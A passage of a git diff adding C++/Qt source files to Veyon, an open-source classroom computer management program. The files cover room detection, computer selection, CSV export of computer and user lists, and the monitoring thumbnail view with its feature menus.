m_roomFilterList.append( room ); + + updateRoomFilterList(); +} + + + +void ComputerManager::removeRoom( const QString& room ) +{ + if( m_currentRooms.contains( room ) == false ) + { + m_roomFilterList.removeAll( room ); + + updateRoomFilterList(); + } +} + + + +bool ComputerManager::saveComputerAndUsersList( const QString& fileName ) +{ + QStringList lines( tr( "Computer name;Host name;User" ) ); + + const auto computers = selectedComputers( QModelIndex() ); + + for( const auto& computer : computers ) + { + const auto networkObjectIndex = findNetworkObject( computer.networkObjectUid() ); + if( networkObjectIndex.isValid() ) + { + // fetch user + const auto user = m_networkObjectOverlayDataModel->data( mapToUserNameModelIndex( networkObjectIndex ) ).toString(); + // create new line with computer and user + lines += computer.name() + ";" + computer.hostAddress() + ";" + user; // clazy:exclude=reserve-candidates + } + } + + // append empty string to generate final newline at end of file + lines += QString(); + + QFile outputFile( fileName ); + if( outputFile.open( QFile::WriteOnly | QFile::Truncate ) == false ) + { + return false; + } + + outputFile.write( lines.join( QStringLiteral("\r\n") ).toUtf8() ); + + return true; +} + + + +void ComputerManager::updateUser( const ComputerControlInterface::Pointer& controlInterface ) +{ + const auto networkObjectIndex = findNetworkObject( controlInterface->computer().networkObjectUid() ); + + if( networkObjectIndex.isValid() ) + { + m_networkObjectOverlayDataModel->setData( mapToUserNameModelIndex( networkObjectIndex ), + controlInterface->user(), + Qt::DisplayRole ); + } +} + + + +void ComputerManager::checkChangedData( const QModelIndex& topLeft, const QModelIndex& bottomRight, const QVector& roles ) +{ + Q_UNUSED(topLeft); + Q_UNUSED(bottomRight); + + if( roles.contains( Qt::CheckStateRole ) ) + { + emit computerSelectionChanged(); + } +} + + + +void ComputerManager::initRooms() +{ + for( const auto& hostName : qAsConst( m_localHostNames ) ) + { + qDebug() << "ComputerManager::initRooms(): initializing rooms for host name" << hostName; + } + + for( const auto& address : qAsConst( m_localHostAddresses ) ) + { + qDebug() << "ComputerManager::initRooms(): initializing rooms for host address" << address.toString(); + } + + m_currentRooms.append( findRoomOfComputer( m_localHostNames, m_localHostAddresses, QModelIndex() ) ); + + qDebug() << "ComputerManager::initRooms(): found local rooms" << m_currentRooms; + + if( VeyonCore::config().onlyCurrentRoomVisible() ) + { + if( m_currentRooms.isEmpty() ) + { + QMessageBox::warning( nullptr, + tr( "Room detection failed" ), + tr( "Could not determine the room which this computer belongs to. " + "This indicates a problem with the system configuration. " + "All rooms will be shown in the computer management instead." ) ); + qWarning( "ComputerManager::initRoomFilterList(): room detection failed" ); + } + + m_roomFilterList = m_currentRooms; + updateRoomFilterList(); + } +} + + + +void ComputerManager::initNetworkObjectLayer() +{ + m_networkObjectDirectory->update(); + m_networkObjectDirectory->setUpdateInterval( VeyonCore::config().networkObjectDirectoryUpdateInterval() ); + m_networkObjectOverlayDataModel->setSourceModel( m_networkObjectModel ); + m_networkObjectFilterProxyModel->setSourceModel( m_networkObjectOverlayDataModel ); + m_computerTreeModel->setSourceModel( m_networkObjectFilterProxyModel ); + + if( VeyonCore::config().localComputerHidden() ) + { + QStringList localHostNames( { + QStringLiteral("localhost"), + QHostAddress( QHostAddress::LocalHost ).toString(), + QHostAddress( QHostAddress::LocalHostIPv6 ).toString() + } ); + + localHostNames.append( m_localHostNames ); + + for( const auto& address : qAsConst( m_localHostAddresses ) ) + { + localHostNames.append( address.toString() ); // clazy:exclude=reserve-candidates + } + + qDebug() << "ComputerManager::initNetworkObjectLayer(): excluding local computer via" << localHostNames; + + m_networkObjectFilterProxyModel->setComputerExcludeFilter( localHostNames ); + } + + m_networkObjectFilterProxyModel->setEmptyGroupsExcluded( VeyonCore::config().emptyRoomsHidden() ); +} + + + +void ComputerManager::initComputerTreeModel() +{ + QJsonArray checkedNetworkObjects; + if( VeyonCore::config().autoSwitchToCurrentRoom() ) + { + for( const auto& room : qAsConst( m_currentRooms ) ) + { + const auto computersInRoom = getComputersInRoom( room ); + for( const auto& computer : computersInRoom ) + { + checkedNetworkObjects += computer.networkObjectUid().toString(); + } + } + } + else + { + checkedNetworkObjects = m_config.checkedNetworkObjects(); + } + + m_computerTreeModel->loadStates( checkedNetworkObjects ); + + connect( computerTreeModel(), &QAbstractItemModel::modelReset, + this, &ComputerManager::computerSelectionReset ); + connect( computerTreeModel(), &QAbstractItemModel::layoutChanged, + this, &ComputerManager::computerSelectionReset ); + + connect( computerTreeModel(), &QAbstractItemModel::dataChanged, + this, &ComputerManager::checkChangedData ); + connect( computerTreeModel(), &QAbstractItemModel::rowsInserted, + this, &ComputerManager::computerSelectionChanged ); + connect( computerTreeModel(), &QAbstractItemModel::rowsRemoved, + this, &ComputerManager::computerSelectionChanged ); +} + + + +void ComputerManager::updateRoomFilterList() +{ + if( VeyonCore::config().onlyCurrentRoomVisible() ) + { + m_networkObjectFilterProxyModel->setGroupFilter( m_roomFilterList ); + } +} + + + +QString ComputerManager::findRoomOfComputer( const QStringList& hostNames, const QList& hostAddresses, const QModelIndex& parent ) +{ + QAbstractItemModel* model = networkObjectModel(); + + int rows = model->rowCount( parent ); + + for( int i = 0; i < rows; ++i ) + { + QModelIndex entryIndex = model->index( i, 0, parent ); + + auto objectType = static_cast( model->data( entryIndex, NetworkObjectModel::TypeRole ).toInt() ); + + if( objectType == NetworkObject::Group ) + { + QString room = findRoomOfComputer( hostNames, hostAddresses, entryIndex ); + if( room.isEmpty() == false ) + { + return room; + } + } + else if( objectType == NetworkObject::Host ) + { + QString currentHost = model->data( entryIndex, NetworkObjectModel::HostAddressRole ).toString().toLower(); + QHostAddress currentHostAddress; + + if( hostNames.contains( currentHost ) || + ( currentHostAddress.setAddress( currentHost ) && hostAddresses.contains( currentHostAddress ) ) ) + { + return model->data( parent, NetworkObjectModel::NameRole ).toString(); + } + } + } + + return QString(); +} + + + +ComputerList ComputerManager::getComputersInRoom( const QString& roomName, const QModelIndex& parent ) +{ + QAbstractItemModel* model = computerTreeModel(); + + int rows = model->rowCount( parent ); + + ComputerList computers; + + for( int i = 0; i < rows; ++i ) + { + QModelIndex entryIndex = model->index( i, 0, parent ); + + auto objectType = static_cast( model->data( entryIndex, NetworkObjectModel::TypeRole ).toInt() ); + + switch( objectType ) + { + case NetworkObject::Group: + if( model->data( entryIndex, NetworkObjectModel::NameRole ).toString() == roomName ) + { + computers += getComputersInRoom( roomName, entryIndex ); + } + break; + case NetworkObject::Host: + computers += Computer( model->data( entryIndex, NetworkObjectModel::UidRole ).toUuid(), + model->data( entryIndex, NetworkObjectModel::NameRole ).toString(), + model->data( entryIndex, NetworkObjectModel::HostAddressRole ).toString(), + model->data( entryIndex, NetworkObjectModel::MacAddressRole ).toString() ); + break; + default: break; + } + } + + return computers; +} + + + +ComputerList ComputerManager::selectedComputers( const QModelIndex& parent ) +{ + QAbstractItemModel* model = computerTreeModel(); + + int rows = model->rowCount( parent ); + + ComputerList computers; + + for( int i = 0; i < rows; ++i ) + { + QModelIndex entryIndex = model->index( i, 0, parent ); + +#if QT_VERSION < 0x050600 +#warning Building legacy compat code for unsupported version of Qt + if( static_cast( model->data( entryIndex, NetworkObjectModel::CheckStateRole ).toInt() ) == Qt::Unchecked ) +#else + if( model->data( entryIndex, NetworkObjectModel::CheckStateRole ).value() == Qt::Unchecked ) +#endif + { + continue; + } + + auto objectType = static_cast( model->data( entryIndex, NetworkObjectModel::TypeRole ).toInt() ); + + switch( objectType ) + { + case NetworkObject::Group: + computers += selectedComputers( entryIndex ); + break; + case NetworkObject::Host: + computers += Computer( model->data( entryIndex, NetworkObjectModel::UidRole ).toUuid(), + model->data( entryIndex, NetworkObjectModel::NameRole ).toString(), + model->data( entryIndex, NetworkObjectModel::HostAddressRole ).toString(), + model->data( entryIndex, NetworkObjectModel::MacAddressRole ).toString(), + model->data( parent, NetworkObjectModel::NameRole ).toString() ); + break; + default: break; + } + } + + return computers; +} + + + +QModelIndex ComputerManager::findNetworkObject( NetworkObject::Uid networkObjectUid, const QModelIndex& parent ) +{ + QAbstractItemModel* model = networkObjectModel(); + + int rows = model->rowCount( parent ); + + for( int i = 0; i < rows; ++i ) + { + QModelIndex entryIndex = model->index( i, 0, parent ); + + auto objectType = static_cast( model->data( entryIndex, NetworkObjectModel::TypeRole ).toInt() ); + + if( objectType == NetworkObject::Group ) + { + QModelIndex index = findNetworkObject( networkObjectUid, entryIndex ); + if( index.isValid() ) + { + return index; + } + } + else if( objectType == NetworkObject::Host ) + { + if( model->data( entryIndex, NetworkObjectModel::UidRole ).toUuid() == networkObjectUid ) + { + return entryIndex; + } + } + } + + return QModelIndex(); +} + + + +QModelIndex ComputerManager::mapToUserNameModelIndex( const QModelIndex& networkObjectIndex ) +{ + // map arbitrary index from m_networkObjectModel to username column in m_networkObjectOverlayDataModel + const auto parent = m_networkObjectOverlayDataModel->mapFromSource( networkObjectIndex.parent() ); + + return m_networkObjectOverlayDataModel->index( networkObjectIndex.row(), OverlayDataColumnUsername, parent ); +} diff --git a/master/src/ComputerManager.h b/master/src/ComputerManager.h new file mode 100644 index 0000000..58cfca3 --- /dev/null +++ b/master/src/ComputerManager.h @@ -0,0 +1,102 @@ +/* + * ComputerManager.h - maintains and provides a computer object list + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef COMPUTER_MANAGER_H +#define COMPUTER_MANAGER_H + +#include "CheckableItemProxyModel.h" +#include "ComputerControlInterface.h" + +class QHostAddress; +class NetworkObjectDirectory; +class NetworkObjectFilterProxyModel; +class NetworkObjectOverlayDataModel; +class UserConfig; + +class ComputerManager : public QObject +{ + Q_OBJECT +public: + ComputerManager( UserConfig& config, QObject* parent ); + ~ComputerManager() override; + + QAbstractItemModel* networkObjectModel() + { + return m_networkObjectModel; + } + + QAbstractItemModel* computerTreeModel() + { + return m_computerTreeModel; + } + + ComputerList selectedComputers( const QModelIndex& parent ); + + void addRoom( const QString& room ); + void removeRoom( const QString& room ); + + bool saveComputerAndUsersList( const QString& fileName ); + + void updateUser( const ComputerControlInterface::Pointer& controlInterface ); + +signals: + void computerSelectionReset(); + void computerSelectionChanged(); + +private slots: + void checkChangedData( const QModelIndex& topLeft, const QModelIndex& bottomRight, const QVector& roles ); + +private: + void initRooms(); + void initNetworkObjectLayer(); + void initComputerTreeModel(); + void updateRoomFilterList(); + + QString findRoomOfComputer( const QStringList& hostNames, const QList& hostAddresses, const QModelIndex& parent ); + + ComputerList getComputersInRoom( const QString& roomName, const QModelIndex& parent = QModelIndex() ); + + QModelIndex findNetworkObject( NetworkObject::Uid networkObjectUid, const QModelIndex& parent = QModelIndex() ); + + QModelIndex mapToUserNameModelIndex( const QModelIndex& networkObjectIndex ); + + static const int OverlayDataColumnUsername = 1; + + UserConfig& m_config; + + NetworkObjectDirectory* m_networkObjectDirectory; + QAbstractItemModel* m_networkObjectModel; + NetworkObjectOverlayDataModel* m_networkObjectOverlayDataModel; + CheckableItemProxyModel* m_computerTreeModel; + NetworkObjectFilterProxyModel* m_networkObjectFilterProxyModel; + + QStringList m_currentRooms; + QStringList m_roomFilterList; + + QStringList m_localHostNames; + QList m_localHostAddresses; + +}; + +#endif // COMPUTER_MANAGER_H diff --git a/master/src/ComputerMonitoringView.cpp b/master/src/ComputerMonitoringView.cpp new file mode 100644 index 0000000..6567c47 --- /dev/null +++ b/master/src/ComputerMonitoringView.cpp @@ -0,0 +1,380 @@ +/* + * ComputerMonitoringView.cpp - provides a view with computer monitor thumbnails + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include +#include + +#include "ComputerControlListModel.h" +#include "ComputerManager.h" +#include "ComputerMonitoringView.h" +#include "ComputerSortFilterProxyModel.h" +#include "VeyonMaster.h" +#include "FeatureManager.h" +#include "VeyonConfiguration.h" +#include "UserConfig.h" + +#include "ui_ComputerMonitoringView.h" + +ComputerMonitoringView::ComputerMonitoringView( QWidget *parent ) : + QWidget(parent), + ui(new Ui::ComputerMonitoringView), + m_master( nullptr ), + m_featureMenu( new QMenu( this ) ) +{ + ui->setupUi( this ); + + ui->listView->setUidRole( ComputerControlListModel::UidRole ); + + connect( ui->listView, &QListView::doubleClicked, + this, &ComputerMonitoringView::runDoubleClickFeature ); + + connect( ui->listView, &QListView::customContextMenuRequested, + this, &ComputerMonitoringView::showContextMenu ); +} + + + +ComputerMonitoringView::~ComputerMonitoringView() +{ + if( m_master ) + { + m_master->userConfig().setFilterPoweredOnComputers( listModel().stateFilter() != ComputerControlInterface::None ); + m_master->userConfig().setComputerPositions( ui->listView->savePositions() ); + m_master->userConfig().setUseCustomComputerPositions( ui->listView->flexible() ); + } + + delete ui; +} + + + +void ComputerMonitoringView::setVeyonMaster( VeyonMaster& masterCore ) +{ + if( m_master ) + { + return; + } + + m_master = &masterCore; + + auto palette = ui->listView->palette(); + palette.setColor( QPalette::Base, VeyonCore::config().computerMonitoringBackgroundColor() ); + palette.setColor( QPalette::Text, VeyonCore::config().computerMonitoringTextColor() ); + ui->listView->setPalette( palette ); + + // attach proxy model to view + ui->listView->setModel( &listModel() ); + + // load custom positions + ui->listView->loadPositions( m_master->userConfig().computerPositions() ); + ui->listView->setFlexible( m_master->userConfig().useCustomComputerPositions() ); +} + + + +ComputerControlInterfaceList ComputerMonitoringView::selectedComputerControlInterfaces() +{ + const auto& computerControlListModel = m_master->computerControlListModel(); + ComputerControlInterfaceList computerControlInterfaces; + + const auto selectedIndices = ui->listView->selectionModel()->selectedIndexes(); + computerControlInterfaces.reserve( selectedIndices.size() ); + + for( const auto& index : selectedIndices ) + { + const auto sourceIndex = listModel().mapToSource( index ); + computerControlInterfaces.append( computerControlListModel.computerControlInterface( sourceIndex ) ); + } + + return computerControlInterfaces; +} + + + +void ComputerMonitoringView::setSearchFilter( const QString& searchFilter ) +{ + listModel().setFilterRegExp( searchFilter ); +} + + + +void ComputerMonitoringView::setFilterPoweredOnComputers( bool enabled ) +{ + listModel().setStateFilter( enabled ? ComputerControlInterface::Connected : ComputerControlInterface::None ); +} + + + +void ComputerMonitoringView::runDoubleClickFeature( const QModelIndex& index ) +{ + const Feature& feature = m_master->featureManager().feature( VeyonCore::config().computerDoubleClickFeature() ); + + if( index.isValid() && feature.isValid() ) + { + ui->listView->selectionModel()->select( index, QItemSelectionModel::SelectCurrent ); + runFeature( feature ); + } +} + + + +void ComputerMonitoringView::showContextMenu( QPoint pos ) +{ + populateFeatureMenu( activeFeatures( selectedComputerControlInterfaces() ) ); + + m_featureMenu->exec( ui->listView->mapToGlobal( pos ) ); +} + + + +void ComputerMonitoringView::setComputerScreenSize( int size ) +{ + if( m_master ) + { + m_master->userConfig().setMonitoringScreenSize( size ); + + m_master->computerControlListModel().updateComputerScreenSize(); + + ui->listView->setIconSize( QSize( size, size * 9 / 16 ) ); + } +} + + + +void ComputerMonitoringView::autoAdjustComputerScreenSize() +{ + int size = ui->listView->iconSize().width(); + + if( ui->listView->verticalScrollBar()->isVisible() || + ui->listView->horizontalScrollBar()->isVisible() ) + { + while( ( ui->listView->verticalScrollBar()->isVisible() || + ui->listView->horizontalScrollBar()->isVisible() ) && + size > MinimumComputerScreenSize ) + { + size -= 10; + setComputerScreenSize( size ); + QApplication::processEvents(); + } + } + else + { + while( ui->listView->verticalScrollBar()->isVisible() == false && + ui->listView->horizontalScrollBar()->isVisible() == false && + size < MaximumComputerScreenSize ) + { + size += 10; + setComputerScreenSize( size ); + QApplication::processEvents(); + } + + setComputerScreenSize( size-20 ); + } + + emit computerScreenSizeAdjusted( m_master->userConfig().monitoringScreenSize() ); +} + + + +void ComputerMonitoringView::setUseCustomComputerPositions( bool enabled ) +{ + ui->listView->setFlexible( enabled ); +} + + + +void ComputerMonitoringView::alignComputers() +{ + ui->listView->alignToGrid(); +} + + + +void ComputerMonitoringView::runFeature( const Feature& feature ) +{ + if( m_master == nullptr ) + { + return; + } + + ComputerControlInterfaceList computerControlInterfaces = selectedComputerControlInterfaces(); + + // mode feature already active? + if( feature.testFlag( Feature::Mode ) && + activeFeatures( computerControlInterfaces ).contains( feature.uid().toString() ) ) + { + // then stop it + m_master->featureManager().stopFeature( *m_master, feature, computerControlInterfaces ); + } + else + { + // stop all other active mode feature + if( feature.testFlag( Feature::Mode ) ) + { + for( const auto& currentFeature : m_master->features() ) + { + if( currentFeature.testFlag( Feature::Mode ) && currentFeature != feature ) + { + m_master->featureManager().stopFeature( *m_master, currentFeature, computerControlInterfaces ); + } + } + } + + m_master->featureManager().startFeature( *m_master, feature, computerControlInterfaces ); + } +} + + + +ComputerSortFilterProxyModel& ComputerMonitoringView::listModel() +{ + return m_master->computerSortFilterProxyModel(); +} + + + +void ComputerMonitoringView::showEvent( QShowEvent* event ) +{ + if( event->spontaneous() == false && + VeyonCore::config().autoAdjustGridSize() ) + { + QTimer::singleShot( 250, this, &ComputerMonitoringView::autoAdjustComputerScreenSize ); + } + + QWidget::showEvent( event ); +} + + + +void ComputerMonitoringView::wheelEvent( QWheelEvent* event ) +{ + if( event->modifiers().testFlag( Qt::ControlModifier ) ) + { + setComputerScreenSize( qBound( MinimumComputerScreenSize, + ui->listView->iconSize().width() + event->angleDelta().y() / 8, + MaximumComputerScreenSize ) ); + + emit computerScreenSizeAdjusted( m_master->userConfig().monitoringScreenSize() ); + + event->accept(); + } + else + { + QWidget::wheelEvent( event ); + } +} + + + +FeatureUidList ComputerMonitoringView::activeFeatures( const ComputerControlInterfaceList& computerControlInterfaces ) +{ + FeatureUidList featureUidList; + + for( const auto& controlInterface : computerControlInterfaces ) + { + featureUidList.append( controlInterface->activeFeatures() ); + } + + featureUidList.removeDuplicates(); + + return featureUidList; +} + + + +void ComputerMonitoringView::populateFeatureMenu( const FeatureUidList& activeFeatures ) +{ + Plugin::Uid previousPluginUid; + + m_featureMenu->clear(); + + for( const auto& feature : m_master->features() ) + { + Plugin::Uid pluginUid = m_master->featureManager().pluginUid( feature ); + + if( previousPluginUid.isNull() == false && + pluginUid != previousPluginUid && + feature.testFlag( Feature::Mode ) == false ) + { + m_featureMenu->addSeparator(); + } + + previousPluginUid = pluginUid; + + auto label = feature.displayName(); + if( activeFeatures.contains( feature.uid().toString() ) && + feature.displayNameActive().isEmpty() == false ) + { + label = feature.displayNameActive(); + } + + const auto subFeatures = m_master->subFeatures( feature.uid() ); + + if( subFeatures.isEmpty() ) + { + addFeatureToMenu( feature, label ); + } + else + { + addSubFeaturesToMenu( feature, subFeatures, label ); + } + } +} + + + +void ComputerMonitoringView::addFeatureToMenu( const Feature& feature, const QString& label ) +{ +#if QT_VERSION < 0x050600 +#warning Building legacy compat code for unsupported version of Qt + auto action = m_featureMenu->addAction( QIcon( feature.iconUrl() ), label ); + connect( action, &QAction::triggered, this, [=] () { runFeature( feature ); } ); +#else + m_featureMenu->addAction( QIcon( feature.iconUrl() ), + label, + this, [=] () { runFeature( feature ); } ); +#endif +} + + + +void ComputerMonitoringView::addSubFeaturesToMenu( const Feature& parentFeature, const FeatureList& subFeatures, const QString& label ) +{ + auto menu = m_featureMenu->addMenu( QIcon( parentFeature.iconUrl() ), label ); + + for( const auto& subFeature : subFeatures ) + { +#if QT_VERSION < 0x050600 +#warning Building legacy compat code for unsupported version of Qt + auto action = menu->addAction( QIcon( subFeature.iconUrl() ), subFeature.displayName() ); + action->setShortcut( subFeature.shortcut() ); + connect( action, &QAction::triggered, this, [=] () { runFeature( subFeature ); } ); +#else + menu->addAction( QIcon( subFeature.iconUrl() ), subFeature.displayName(), this, + [=]() { runFeature( subFeature ); }, subFeature.shortcut() ); +#endif + } +} diff --git a/master/src/ComputerMonitoringView.h b/master/src/ComputerMonitoringView.h new file mode 100644 index 0000000..7a7be73 --- /dev/null +++ b/master/src/ComputerMonitoringView.h @@ -0,0 +1,93 @@ +/* + * ComputerMonitoringView.h - provides a view with computer monitor thumbnails + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef COMPUTER_MONITORING_VIEW_H +#define COMPUTER_MONITORING_VIEW_H + +#include "ComputerControlInterface.h" + +#include + +class QMenu; + +namespace Ui { +class ComputerMonitoringView; +} + +class ComputerSortFilterProxyModel; +class VeyonMaster; + +class ComputerMonitoringView : public QWidget +{ + Q_OBJECT +public: + enum { + MinimumComputerScreenSize = 50, + MaximumComputerScreenSize = 1000, + DefaultComputerScreenSize = 150 + }; + + ComputerMonitoringView( QWidget *parent = nullptr ); + ~ComputerMonitoringView() override; + + void setVeyonMaster( VeyonMaster& masterCore ); + + ComputerControlInterfaceList selectedComputerControlInterfaces(); + +public slots: + void setSearchFilter( const QString& searchFilter ); + void setFilterPoweredOnComputers( bool enabled ); + void setComputerScreenSize( int size ); + void autoAdjustComputerScreenSize(); + void setUseCustomComputerPositions( bool enabled ); + void alignComputers(); + +private slots: + void runDoubleClickFeature( const QModelIndex& index ); + void showContextMenu( QPoint pos ); + void runFeature( const Feature& feature ); + +private: + ComputerSortFilterProxyModel& listModel(); + + void showEvent( QShowEvent* event ) override; + void wheelEvent( QWheelEvent* event ) override; + + FeatureUidList activeFeatures( const ComputerControlInterfaceList& computerControlInterfaces ); + + void populateFeatureMenu( const FeatureUidList& activeFeatures ); + void addFeatureToMenu( const Feature& feature, const QString& label ); + void addSubFeaturesToMenu( const Feature& parentFeature, const FeatureList& subFeatures, const QString& label ); + + Ui::ComputerMonitoringView *ui; + + VeyonMaster* m_master; + QMenu* m_featureMenu; + +signals: + void computerScreenSizeAdjusted( int size ); + +}; + +#endif // COMPUTER_MONITORING_VIEW_H diff --git a/master/src/ComputerSortFilterProxyModel.cpp b/master/src/ComputerSortFilterProxyModel.cpp new file mode 100644 index 0000000..5168de5 --- /dev/null +++ b/master/src/ComputerSortFilterProxyModel.cpp @@ -0,0 +1,66 @@ +/* + * ComputerSortFilterProxyModel.cpp - implementation of ComputerSortFilterProxyModel + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "ComputerSortFilterProxyModel.h" + + +ComputerSortFilterProxyModel::ComputerSortFilterProxyModel( QObject* parent ) : + QSortFilterProxyModel( parent ), + m_stateRole( -1 ), + m_stateFilter( ComputerControlInterface::None ) +{ + setFilterCaseSensitivity( Qt::CaseInsensitive ); +} + + + +void ComputerSortFilterProxyModel::setStateRole( int role ) +{ + beginResetModel(); + m_stateRole = role; + endResetModel(); +} + + + +void ComputerSortFilterProxyModel::setStateFilter( ComputerControlInterface::State state ) +{ + beginResetModel(); + m_stateFilter = state; + endResetModel(); +} + + + +bool ComputerSortFilterProxyModel::filterAcceptsRow( int sourceRow, const QModelIndex& sourceParent ) const +{ + if( m_stateFilter != ComputerControlInterface::None && + m_stateRole >= 0 && + sourceModel()->data( sourceModel()->index( sourceRow, 0, sourceParent ), m_stateRole ).toInt() != m_stateFilter ) + { + return false; + } + + return QSortFilterProxyModel::filterAcceptsRow( sourceRow, sourceParent ); +} diff --git a/master/src/ComputerSortFilterProxyModel.h b/master/src/ComputerSortFilterProxyModel.h new file mode 100644 index 0000000..422b05d --- /dev/null +++ b/master/src/ComputerSortFilterProxyModel.h @@ -0,0 +1,61 @@ +/* + * ComputerSortFilterProxyModel.h - header file for ComputerSortFilterProxyModel + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef COMPUTER_SORT_FILTER_PROXY_MODEL_H +#define COMPUTER_SORT_FILTER_PROXY_MODEL_H + +#include + +#include "ComputerControlInterface.h" + +class ComputerSortFilterProxyModel : public QSortFilterProxyModel +{ + Q_OBJECT +public: + ComputerSortFilterProxyModel( QObject* parent ); + + int stateRole() const + { + return m_stateRole; + } + + void setStateRole( int role ); + + ComputerControlInterface::State stateFilter() const + { + return m_stateFilter; + } + + void setStateFilter( ComputerControlInterface::State state ); + +protected: + bool filterAcceptsRow( int sourceRow, const QModelIndex& sourceParent ) const override; + +private: + int m_stateRole; + ComputerControlInterface::State m_stateFilter; + +}; + +#endif // COMPUTER_SORT_FILTER_PROXY_MODEL_H diff --git a/master/src/FlexibleListView.cpp b/master/src/FlexibleListView.cpp new file mode 100644 index 0000000..22d7543 --- /dev/null +++ b/master/src/FlexibleListView.cpp @@ -0,0 +1,222 @@ +/* + * FlexibleListView.cpp - list view with flexible icon positions + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include + +#include "FlexibleListView.h" + + +FlexibleListView::FlexibleListView( QWidget* parent ) : + QListView( parent ), + m_uidRole( Qt::UserRole ) +{ + connect( this, &QListView::indexesMoved, this, &FlexibleListView::updatePositions ); +} + + + +FlexibleListView::~FlexibleListView() +{ +} + + + +void FlexibleListView::setUidRole( int role ) +{ + m_uidRole = role; +} + + + +void FlexibleListView::setFlexible( bool enabled ) +{ + if( enabled ) + { + setMovement( QListView::Free ); + } + else + { + setMovement( QListView::Static ); + } + + doItemsLayout(); +} + + + +bool FlexibleListView::flexible() const +{ + return movement() == QListView::Free; +} + + + +void FlexibleListView::alignToGrid() +{ + auto m = model(); + + for( int i = 0, count = m->rowCount(); i < count; ++i ) + { + const auto index = m->index( i, 0 ); + const auto uid = m->data( index, m_uidRole ).toUuid(); + + if( uid.isNull() == false && m_positions.contains( uid ) ) + { + m_positions[uid] = QPointF( qMax( 0, qRound( m_positions[uid].x() ) ), + qMax( 0, qRound( m_positions[uid].y() ) ) ); + setPositionForIndex( toItemPosition( m_positions[uid] ), index ); + } + } +} + + + +QJsonArray FlexibleListView::savePositions() +{ + QJsonArray data; + + for( auto it = m_positions.constBegin(), end = m_positions.constEnd(); it != end; ++it ) + { + QJsonObject object; + object[QStringLiteral("uid")] = it.key().toString(); + object[QStringLiteral("x")] = it.value().x(); + object[QStringLiteral("y")] = it.value().y(); + data += object; + } + + return data; +} + + + +void FlexibleListView::loadPositions( const QJsonArray& data ) +{ + m_positions.clear(); + + for( const auto& item : data ) + { + const auto object = item.toObject(); + const QUuid uid( object["uid"].toString() ); + if( uid.isNull() == false ) + { + m_positions[uid] = QPointF( object["x"].toDouble(), object["y"].toDouble() ); + } + } +} + + + +void FlexibleListView::doItemsLayout() +{ + QListView::doItemsLayout(); + + if( movement() == QListView::Free ) + { + restorePositions(); + } +} + + + +void FlexibleListView::restorePositions() +{ + auto m = model(); + + if( m == nullptr ) + { + return; + } + + for( int i = 0, count = m->rowCount(); i < count; ++i ) + { + const auto index = m->index( i, 0 ); + const auto uid = m->data( index, m_uidRole ).toUuid(); + + if( uid.isNull() == false && m_positions.contains( uid ) ) + { + setPositionForIndex( toItemPosition( m_positions[uid] ), index ); + } + } +} + + + +void FlexibleListView::updatePositions() +{ + if( movement() == 